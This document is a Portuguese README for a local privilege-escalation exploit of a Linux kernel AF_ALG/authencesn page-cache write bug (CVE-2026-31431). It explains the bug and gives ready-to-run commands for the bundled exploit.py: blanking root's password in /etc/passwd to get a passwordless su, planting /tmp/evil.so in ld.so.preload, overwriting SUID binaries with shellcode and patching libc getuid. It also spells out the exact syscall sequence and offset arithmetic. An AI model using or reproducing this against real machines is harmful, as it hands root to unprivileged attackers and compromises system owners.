CVE-2026-31431 — Copy Fail

Vulnerabilidade de escrita fora dos limites no page cache do kernel Linux (erro na cadeia de scatterlist do AEAD AF_ALG)

Visão Geral

A interface algif_aead do kernel Linux contém uma vulnerabilidade que permite que usuários sem privilégios escrevam dados arbitrários no page cache de qualquer arquivo legível — contornando completamente as verificações de permissão de arquivo, controle de acesso obrigatório (MAC) e verificações de integridade.

O conteúdo do arquivo no disco não é alterado, mas todos os processos que lerem o arquivo posteriormente (incluindo programas SUID, o linker dinâmico, execve(), etc.) verão a versão adulterada pelo atacante, até que o page cache seja recuperado.

Escopo do Impacto

Item	Descrição
Subsistema	`crypto/algif_aead.c`
Algoritmo	`authencesn(hmac(sha256),cbc(aes))`
Configuração do kernel	`CONFIG_CRYPTO_USER_API_AEAD=y/m` (habilitado por padrão em quase todas as distribuições principais)
Privilégios necessários	Nenhum — basta ter permissão de leitura no arquivo alvo
Nível de gravidade	Escalação local de privilégios → root
Distribuições afetadas	Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc.

Princípio da Vulnerabilidade

Explicação Resumida

Ao executar descriptografia AEAD via AF_ALG:

O espaço do usuário envia dados autenticados associados (AAD) via sendmsg() + MSG_MORE, contendo 4 bytes de seqno_lo controlados pelo atacante.
Via splice(), as páginas do page cache do arquivo alvo são injetadas na scatterlist de envio (TX SGL) do subsistema de criptografia do kernel.
Ao construir a scatterlist de destino (dst SGL), o kernel encadeia o buffer de recebimento com as páginas do page cache usando sg_chain.
O algoritmo authencesn escreve seqno_lo no deslocamento assoclen + cryptlen da scatterlist de destino — uma posição que ultrapassa o buffer de recebimento e cai diretamente nas páginas do page cache encadeadas.
Essa escrita ocorre antes da verificação HMAC. Após a falha do HMAC, o kernel retorna o erro EBADMSG, mas o page cache já foi adulterado.

Diagrama do Fluxo de Dados

 sendmsg (AAD)            splice (páginas do arquivo)
     │                         │
     ▼                         ▼
 ┌──────────┐  sg_chain   ┌──────────────────────┐
 │ RX buffer │─────────────▶│   Páginas do page cache │
 │  8 bytes  │              │  (conteúdo do arquivo)  │
 └──────────┘              └──────────────────────┘
                                  ▲
                                  │
                      authencesn escreve seqno_lo aqui
                      deslocamento = assoclen + cryptlen
                      ════ é aqui que está a vulnerabilidade ════

Pontos-Chave

Os 4 bytes de seqno_lo são totalmente controlados pelo atacante no AAD (o que escrever)
O comprimento do splice determina o deslocamento da escrita no page cache (onde escrever)
A combinação = primitiva de escrita arbitrária de 4 bytes no page cache de qualquer arquivo legível

Como Usar

Escalação Rápida de Privilégios

# Adultera o page cache de /etc/passwd, remove a senha do root e executa su root automaticamente
./exploit.py escalate

Processo de execução:

Faz backup do conteúdo original de /etc/passwd em /tmp/.passwd.bak
Modifica root:x:0:0:root:... para root::0:0:root :... no page cache
Executa su root automaticamente (sem senha)

Exemplo de saída:

[*] CVE-2026-31431 — Copy Fail
[*] Modo: remover senha do root via /etc/passwd

[*] Backup: /tmp/.passwd.bak
[*] Antes : root:x:0:0:root:/root:/bin/bash
[*] Depois: root::0:0:root :/root:/bin/bash
[*] Offset: 0

    [0x000000]  726f6f74  root
    [0x000004]  3a3a303a  ::0:
    [0x000008]  303a726f  0:ro
    [0x00000c]  6f742020  ot
    [0x000010]  3a2f726f  :/ro
    [0x000014]  6f743a2f  ot:/
    [0x000018]  62696e2f  bin/
    [0x00001c]  62617368  bash

[+] Sucesso: root::0:0:root :/root:/bin/bash

[*] Recuperação: echo 3 > /proc/sys/vm/drop_caches
[*] Executando: su root (senha não necessária)

Uso Geral: Escrita Arbitrária no Page Cache

# Sintaxe básica
./exploit.py write <caminho_do_arquivo> <deslocamento> <dados>

# Lê o payload de um arquivo binário
./exploit.py write <caminho_do_arquivo> <deslocamento> @payload.bin

Exemplos de Uso

# Escreve shellcode no ponto de entrada de um programa SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# Injeta o caminho de uma biblioteca de pré-carregamento
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# Adultera uma função da libc (ex.: fazer getuid() retornar 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

Restrições

Restrição	Descrição
Permissão de leitura	O arquivo alvo deve ser legível pelo usuário atual (`O_RDONLY`)
Alinhamento	Cada escrita tem 4 bytes; caudas com menos de 4 bytes são preenchidas com `0x90`
Tamanho do arquivo	O arquivo deve ter tamanho ≥ `deslocamento + comprimento_dos_dados + 4` bytes
Somente page cache	O conteúdo do arquivo no disco não é modificado
Persistência	Válido até que o page cache seja recuperado ou limpo manualmente
Configuração do kernel	Requer `AF_ALG` + `authencesn` disponíveis (padrão nas distribuições principais)

Métodos de Recuperação

# Método 1: Limpar todo o page cache, restaurando o conteúdo original do disco
echo 3 > /proc/sys/vm/drop_caches

# Método 2: Reiniciar
reboot

Detalhes Técnicos Internos

Inicialização do Socket AF_ALG

socket(AF_ALG, SOCK_SEQPACKET, 0)
  → bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  → setsockopt(SOL_ALG, ALG_SET_KEY, blob_da_chave_authenc)
  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
  → accept()  →  fd da requisição

Estrutura da Chave (blob da chave authenc)

┌─────────────────────────────────────────────┐
│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │
│   0x0008      │   0x0001      │  0x00000010    │
├─────────────────────────────────────────────┤
│         Chave de autenticação (16 bytes de zeros)          │
├─────────────────────────────────────────────┤
│         Chave de criptografia (16 bytes de zeros)          │
└─────────────────────────────────────────────┘

O valor da chave é irrelevante — o HMAC falhará inevitavelmente, mas a escrita fora dos limites já foi concluída antes da verificação.

Fluxo de Escrita Única de 4 Bytes

Passo 1:  sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = valor a ser escrito
                  cmsg = [OP=DECRYPT, IV=zeros, ASSOCLEN=8],
                  flags = MSG_MORE)

Passo 2:  pipe_r, pipe_w = pipe()

Passo 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)

Passo 4:  splice(pipe_r → req_fd, count = file_offset + 4)

Passo 5:  recv(req_fd, ASSOC_LEN + file_offset)
          → aciona a descriptografia authencesn
          → seqno_lo é escrito no deslocamento assoclen + cryptlen da dst SGL
          → esse deslocamento cai em file_offset da página do page cache
          → HMAC falha, retorna EBADMSG
          → o page cache já foi adulterado ✓

Cálculo do Deslocamento

Layout da dst SGL:
  [0 .. 7]                         → RX buffer (área de recepção do AAD)
  [8 .. 8 + file_offset + 3]      → Páginas do page cache (injetadas via splice)

Posição da escrita de seqno_lo:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = file_offset no page cache

∴ O atacante controla file_offset → controla a posição da escrita
  O atacante controla seqno_lo    → controla o conteúdo da escrita

Estrutura de Arquivos

.
├── exploit.py          # Script de exploração autocontido (requer apenas Python 3 + Linux)
└── README.md           # Este arquivo

CVE-2026-31431-Advanced-Exploit

Mais Populares